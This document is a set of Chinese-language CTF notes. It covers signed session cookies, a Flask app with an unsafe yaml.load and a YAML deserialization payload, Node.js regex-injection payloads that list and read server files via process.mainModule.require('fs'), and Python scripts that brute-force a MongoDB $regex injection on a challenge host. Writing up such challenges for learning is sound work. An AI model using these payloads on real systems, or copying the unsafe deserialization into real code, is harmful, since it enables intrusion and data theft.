Session验证用户登录
-
用户提交包含用户名和密码的表单,发送HTTP请求。
-
服务器验证用户发来的用户名密码。
-
如果正确则把当前用户名(通常是用户对象)存储到redis中,并生成它在redis中的ID。 这个ID称为Session ID,通过Session ID可以从Redis中取出对应的用户对象, 敏感数据(比如authed=true)都存储在这个用户对象中。
-
设置Cookie为sessionId=xxxxxx|checksum并发送HTTP响应, 仍然为每一项Cookie都设置签名。
-
用户收到HTTP响应后,便看不到任何敏感数据了。在此后的请求中发送该Cookie给服务器。
-
服务器收到此后的HTTP请求后,发现Cookie中有SessionID,进行防篡改验证。
-
如果通过了验证,根据该ID从Redis中取出对应的用户对象, 查看该对象的状态并继续执行业务逻辑。
防止篡改:
1,服务器有个秘密字符串,是 this_is_my_secret_and_fuck_you_all,我为用户 cookie 的
dotcom_user 字段设置了个值 alsotang。cookie 本应是{dotcom_user: ‘alsotang’}这样的。
2,我们签个名,比如把 dotcom_user 的值跟我的 secret_string
做个sha1sha1(‘this_is_my_secret_and_fuck_you_all’ + ‘alsotang’) ===
‘4850a42e3bc0d39c978770392cbd8dc2923e3d1d’。
3,cookie 变成这样{ dotcom_user: ‘alsotang’, ‘dotcom_user.sig’:
‘4850a42e3bc0d39c978770392cbd8dc2923e3d1d’, } 这样一来,用户就没法伪造信息了。一旦它更改了
cookie 中的信息,则服务器会发现 hash 校验的不一致。
Python yaml 反序列化
import yaml
from flask import redirect, Flask, render_template, request, abort
from flask import url_for, send_from_directory, make_response, Response
import flag
app = Flask(__name__)
EASTER_WHALE = {"name": "TheBestWhaleIsAWhaleEveryOneLikes", "image_num": 2, "weight": 34}
@app.route("/")
def index():
return render_template("index.html.jinja", active="home")
class Whale:
def __init__(self, name, image_num, weight):
self.name = name
self.image_num = image_num
self.weight = weight
def dump(self):
return yaml.dump(self.__dict__)
@app.route("/whale", methods=["GET", "POST"])
def whale():
if request.method == "POST":
name = request.form["name"]
# 长度限制 10
if len(name) > 10:
return make_response("Name to long. Whales can only understand names up to 10 chars", 400)
image_num = request.form["image_num"]
weight = request.form["weight"]
whale = Whale(name, image_num, weight)
# getflag 注意这里
if whale.__dict__ == EASTER_WHALE:
return make_response(flag.get_flag(), 200)
return make_response(render_template("whale.html.jinja", w=whale, active="whale"), 200)
return make_response(render_template("whale_builder.html.jinja", active="whale"), 200)
class Wheel:
def __init__(self, name, image_num, diameter):
self.name = name
self.image_num = image_num
self.diameter = diameter
@staticmethod
def from_configuration(config):
return Wheel(**yaml.load(config, Loader=yaml.Loader))
def dump(self):
return yaml.dump(self.__dict__)
@app.route("/wheel", methods=["GET", "POST"])
def wheel():
if request.method == "POST":
if "config" in request.form:
wheel = Wheel.from_configuration(request.form["config"])
return make_response(render_template("wheel.html.jinja", w=wheel, active="wheel"), 200)
name = request.form["name"]
image_num = request.form["image_num"]
diameter = request.form["diameter"]
wheel = Wheel(name, image_num, diameter)
print(wheel.dump())
return make_response(render_template("wheel.html.jinja", w=wheel, active="wheel"), 200)
return make_response(render_template("wheel_builder.html.jinja", active="wheel"), 200)
if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000)
yaml.dump(data, Dumper=Dumper)
yaml.dump 函数接受一个 Python 对象并生成一个 YAML 文档。
yaml.load(stream, Loader=Loader)
yaml.load 函数将 YAML 文档转换为 Python 对象,返回一个 Python 对象。
yaml.load 接受一个字节字符串、一个 Unicode
字符串、一个打开的二进制文件对象或一个打开的文本文件对象。字节字符串或文件必须使用 utf-8、 utf-16-be 或 utf-16-le
编码进行编码。yaml.load 通过检查字符串/文件开头的 BOM (字节顺序标记) 序列来检测编码。如果没有提供 BOM,则假定采用
utf-8编码。
>>> yaml.load(u"""
... hello: Привет!
... """) # In Python 3, do not use the 'u' prefix
{'hello': u'\u041f\u0440\u0438\u0432\u0435\u0442!'}
>>> stream = file('document.yaml', 'r') # 'document.yaml' contains a single YAML document.
>>> yaml.load(stream)
[...] # A Python object corresponding to the document.
用从不可信来源接收的任何数据调用 yaml.load 是不安全的!yaml.load 和 pickle.load 一样强大,因此可以调用任何 Python 函数。
序列化一个对象传入 yaml.load ,而对应官方文档有:
!!python/object:module.Class { attribute: value, … } 任何可选对象都可以使用
!!python/object 进行序列化。 为了支持 pickle 协议,还提供了两种额外形式。
!!python/object/new:module.Class [argument, …]
!!python/object/apply:module.function [argument, …]
config={name: !!python/object/apply:flag.get_flag [], image_num: 3, diameter: 3}
nodejs RCE
判断 node 简便的方法有:
当访问一个不存在的路径时,会得到 node 错误 “ Can not GET/whatever” ,响应头部有 X-Powered-By:
Express ( Express 框架开发) 利用 Wappalyzer 之类的插件了解网站所用技术
利用 fetch 是否定义来判断该网站是运行在 node 上还是浏览器上的:“fetch is not defined” – we are running on node and not a web browser
Node.js简介:
Node.js 是一个开源与跨平台的 JavaScript 运行时环境。 它是一个可用于几乎任何项目的流行工具!
Node.js 在浏览器外运行 V8 JavaScript 引擎(Google Chrome 的内核)。 这使 Node.js
表现得非常出色。Node.js 应用程序运行于单个进程中,无需为每个请求创建新的线程。 Node.js 在其标准库中提供了一组异步的 I/O
原生功能(用以防止 JavaScript 代码被阻塞),并且 Node.js
中的库通常是使用非阻塞的范式编写的(从而使阻塞行为成为例外而不是规范)。当 Node.js 执行 I/O 操作时(例如从网络读取、访问数据库或文件系统),Node.js
会在响应返回时恢复操作,而不是阻塞线程并浪费 CPU 循环等待。
\w/gi);let a=10;return a;/
------
'123'.match(/\w/gi);let a=10;return a;//gi)
------
{ "result": 10 }
node 有 fs 模块用于对系统文件及目录进行读写操作,需要用 require(‘fs’) 来载入,但上下文里不一定有 require,require 并不是可以全局访问的。
process.mainModule 属性提供了一种获取 require.main 的替代方式,换言之,我们可以通过 process.mainModule.require(‘fs’) 来载入,然后通过 fs.readdirSync(path[, options]) 同步返回一个包含“指定目录下所有文件名称”的数组对象。
// test
\w/gi);
let files = [];
const fs = process.mainModule.require('fs');
fs.readdirSync(".").forEach(file => files.push(file) );
return files;/
------
'123'.match(/\w/gi);let files = []; const fs = process.mainModule.require('fs');fs.readdirSync(".").forEach(file => files.push(file) );return files;//gi)
------
{ "result": [ ".dockerignore", "api.js", "csregex", "dist", "dockerfile", "index.js", "leftover.js", "node_modules", "package-lock.json", "package.json", "regexer.js", "requests.log", "simple-fs.js" ] }
// test
\w/gi);
const fs = process.mainModule.require('fs');
const data = fs.readFileSync('dockerfile', 'utf8');
return data;/
------
'123'.match(/\w/gi); const fs = process.mainModule.require('fs'); const data = fs.readFileSync('dockerfile', 'utf8'); return data;//gi)
MongoBD 注入:
var sec = collection.findOne({id: secid});
import requests
import re
class Outloop(Exception):
pass
try:
for i in "0123456789abcdef":
for j in "123456789abcdef0":
for k in "23456789abcdef01":
url = "http://chal.cybersecurityrumble.de:37585/secret_share?secid[$regex]=^.{}{}{}".format(i, j, k)
print("[i] Still looking for: "+i+j+k)
response = requests.request("GET", url)
if "CSR" in response.text:
print("[+] Flag: CSR"+re.search(r"CSR(.*)}",response.text)[1]+"}")
raise Outloop()
except Outloop:
pass
#!/usr/bin/env
import requests as req
import time
import re
import queue
import hashlib
URL = "http://chal.cybersecurityrumble.de:37585/secret_share?secid[$regex]=^"
# 查找 flag 的正则表达式
regex = r"-->(.*)<!--"
deadStarts = []
chars = "0123456789abcdef"
# 如果父节点有多个子节点
def parentHasMoreThanOneChildren(hash):
l = len(hash) - 1
if l < 0:
return True
url = URL + hash[:l] + '[^' + hash[l] + ']'
r = req.get( url )
if r.status_code == 404:
return False
return True
# 是否有子节点
def hasChild(hash):
url = URL + hash
r = req.get( url )
if r.status_code == 404:
return False
return True
# 获取 secret
def getSecret(hash):
url = URL + hash
r = req.get( url )
return re.search(regex, r.text)[1]
# 访问子节点判断是否有 flag
def visitChild(hash):
print(hash, end=' ')
if not parentHasMoreThanOneChildren(hash):
secret = getSecret(hash)
print( secret )
if "csr" in secret.lower():
exit()
return
print('')
for c in chars:
if hasChild( hash + c ):
visitChild( hash +c )
# 这里设置的根节点为 6
visitChild( '6' )